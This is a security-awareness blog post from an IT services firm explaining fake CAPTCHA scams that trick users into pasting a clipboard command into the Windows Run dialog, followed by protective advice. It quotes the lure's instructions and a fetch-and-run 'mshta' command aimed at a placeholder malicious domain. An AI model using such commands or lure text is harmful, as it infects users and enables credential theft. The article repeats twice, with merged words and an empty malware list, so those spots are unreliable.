Cybercriminals are constantly evolving their tactics, and one of the latest methods we’re seeing is both simple and deceptively effective: fake CAPTCHA verification pages that trick users into infecting their own machines.
While this may sound like something most users could easily avoid, the reality is quite different. The social engineering behind these attacks is surprisingly sophisticated, and they’re becoming more widespread across the internet.
What’s Happening?
Originally, these attacks were used to target individuals who could provide access to a larger organization’s network. However, their popularity has grown, and today anyone browsing the web can become a victim.
It typically begins on a website offering enticing or in-demand content—movies, music, trending images, or breaking news. When users arrive, they’re presented with what appears to be a legitimate CAPTCHA page asking them to verify they’re not a robot. That’s a common step on many websites, so users don’t think twice.
But in this case, after clicking the checkbox, users are instructed to take additional steps, such as the following:
To better prove you are not a robot, please: Press & hold the Windows Key + R. In the verification window, press Ctrl + V. Press Enter on your keyboard to finish.
Smaller text toward the bottom even reads:
“You will observe and agree: ‘I’m not a robot – reCAPTCHA Verification ID: 8253’”
While these instructions may look harmless, following them executes a malicious command that was silently copied to the clipboard when the user clicked the CAPTCHA checkbox.
What Actually Happens
Here’s how the attack works step by step:
When the user clicks the fake CAPTCHA checkbox, JavaScript on the page copies a command to their clipboard.
The user is instructed to open the Windows Run dialog (Windows + R), paste the clipboard contents, and press Enter.
The command—often a variation of mshta https://[malicious.domain]/media.file—runs a malicious script.
The mshta command is a legitimate Windows tool used to run HTML applications. In this case, it fetches and executes a script disguised as a media file (e.g., .mp3, .jpg, .html). In reality, these files often contain encoded PowerShell commands that execute silently and download malware to the user’s device.
What’s the End Goal?
The malware delivered through this method is typically an information stealer, such as:
These tools are designed to harvest sensitive data, including login credentials, browsing history, saved passwords, and even crypto wallet information. This data is then transmitted to the attacker’s server for exploitation or resale.
How to Protect Yourself
These attacks rely heavily on user interaction, which means that awareness and cautious behavior are your best defenses. Here are a few steps you can take to stay protected:
1. Think before you follow on-screen instructions.
If a website asks you to run commands using the Windows Run dialog, that’s a red flag. Legitimate verification processes do not require this.
2. Use a reputable anti-malware solution.
A quality endpoint protection platform can detect and block known threats, including clipboard hijackers and script-based attacks.
3. Install a browser security extension.
Tools like uBlock Origin or Malwarebytes Browser Guard help prevent access to known scam domains and block malicious scripts.
4. Be cautious with JavaScript.
This attack leverages JavaScript to copy malicious content to your clipboard. Disabling JavaScript by default in untrusted browsers can prevent this, though it may disrupt functionality on legitimate websites.
How to Disable JavaScript in Popular Browsers
Google Chrome
Go to Settings → Privacy and security → Site settings → JavaScript.
Toggle “Don’t allow sites to use JavaScript” or configure site-specific permissions.
Mozilla Firefox
Type about:config in the address bar.
Search for javascript.enabled and toggle the value to false.
Opera
Go to Settings → Privacy & security → Site Settings → JavaScript.
Choose to disable globally or per site.
Microsoft Edge
Go to Settings → Cookies and Site Permissions → JavaScript.
Toggle to block JavaScript or manage individual site permissions.
Final Thoughts
Fake CAPTCHA pages represent a growing threat in today’s cybersecurity landscape. They rely on user trust and small, seemingly harmless actions to deliver serious malware infections. As always, education and awareness are the first lines of defense.
If you or your team are ever unsure about the legitimacy of a website or encounter suspicious instructions, do not proceed—and reach out to your IT support partner.
Need help improving your business’s defenses against social engineering attacks like this one? Contact GeorgiaMSP today to learn how we can help protect your endpoints, browsers, and sensitive data.
Fake CAPTCHA Scams Are on the Rise – Here’s How to Stay Safe
Cybercriminals are constantly evolving their tactics, and one of the latest methods we’re seeing is both simple and deceptively effective: fake CAPTCHA verification pages that trick users into infecting their own machines.
While this may sound like something most users could easily avoid, the reality is quite different. The social engineering behind these attacks is surprisingly sophisticated, and they’re becoming more widespread across the internet.
What’s Happening?
Originally, these attacks were used to target individuals who could provide access to a larger organization’s network. However, their popularity has grown, and today anyone browsing the web can become a victim.
It typically begins on a website offering enticing or in-demand content—movies, music, trending images, or breaking news. When users arrive, they’re presented with what appears to be a legitimate CAPTCHA page asking them to verify they’re not a robot. That’s a common step on many websites, so users don’t think twice.
But in this case, after clicking the checkbox, users are instructed to take additional steps, such as the following:
Press & hold the Windows Key + R.
In the verification window, press Ctrl + V.
Press Enter on your keyboard to finish.
While these instructions may look harmless, following them executes a malicious command that was silently copied to the clipboard when the user clicked the CAPTCHA checkbox.
What Actually Happens
Here’s how the attack works step by step:
Windows + R), paste the clipboard contents, and press Enter.The
mshtacommand is a legitimate Windows tool used to run HTML applications. In this case, it fetches and executes a script disguised as a media file (e.g.,.mp3,.jpg,.html). In reality, these files often contain encoded PowerShell commands that execute silently and download malware to the user’s device.What’s the End Goal?
The malware delivered through this method is typically an information stealer, such as:
These tools are designed to harvest sensitive data, including login credentials, browsing history, saved passwords, and even crypto wallet information. This data is then transmitted to the attacker’s server for exploitation or resale.
How to Protect Yourself
These attacks rely heavily on user interaction, which means that awareness and cautious behavior are your best defenses. Here are a few steps you can take to stay protected:
1. Think before you follow on-screen instructions.
If a website asks you to run commands using the Windows Run dialog, that’s a red flag. Legitimate verification processes do not require this.
2. Use a reputable anti-malware solution.
A quality endpoint protection platform can detect and block known threats, including clipboard hijackers and script-based attacks.
3. Install a browser security extension.
Tools like uBlock Origin or Malwarebytes Browser Guard help prevent access to known scam domains and block malicious scripts.
4. Be cautious with JavaScript.
This attack leverages JavaScript to copy malicious content to your clipboard. Disabling JavaScript by default in untrusted browsers can prevent this, though it may disrupt functionality on legitimate websites.
How to Disable JavaScript in Popular Browsers
Google Chrome
Settings→Privacy and security→Site settings→JavaScript.Mozilla Firefox
about:configin the address bar.javascript.enabledand toggle the value tofalse.Opera
Settings→Privacy & security→Site Settings→JavaScript.Microsoft Edge
Settings→Cookies and Site Permissions→JavaScript.Final Thoughts
Fake CAPTCHA pages represent a growing threat in today’s cybersecurity landscape. They rely on user trust and small, seemingly harmless actions to deliver serious malware infections. As always, education and awareness are the first lines of defense.
If you or your team are ever unsure about the legitimacy of a website or encounter suspicious instructions, do not proceed—and reach out to your IT support partner.
Need help improving your business’s defenses against social engineering attacks like this one? Contact GeorgiaMSP today to learn how we can help protect your endpoints, browsers, and sensitive data.
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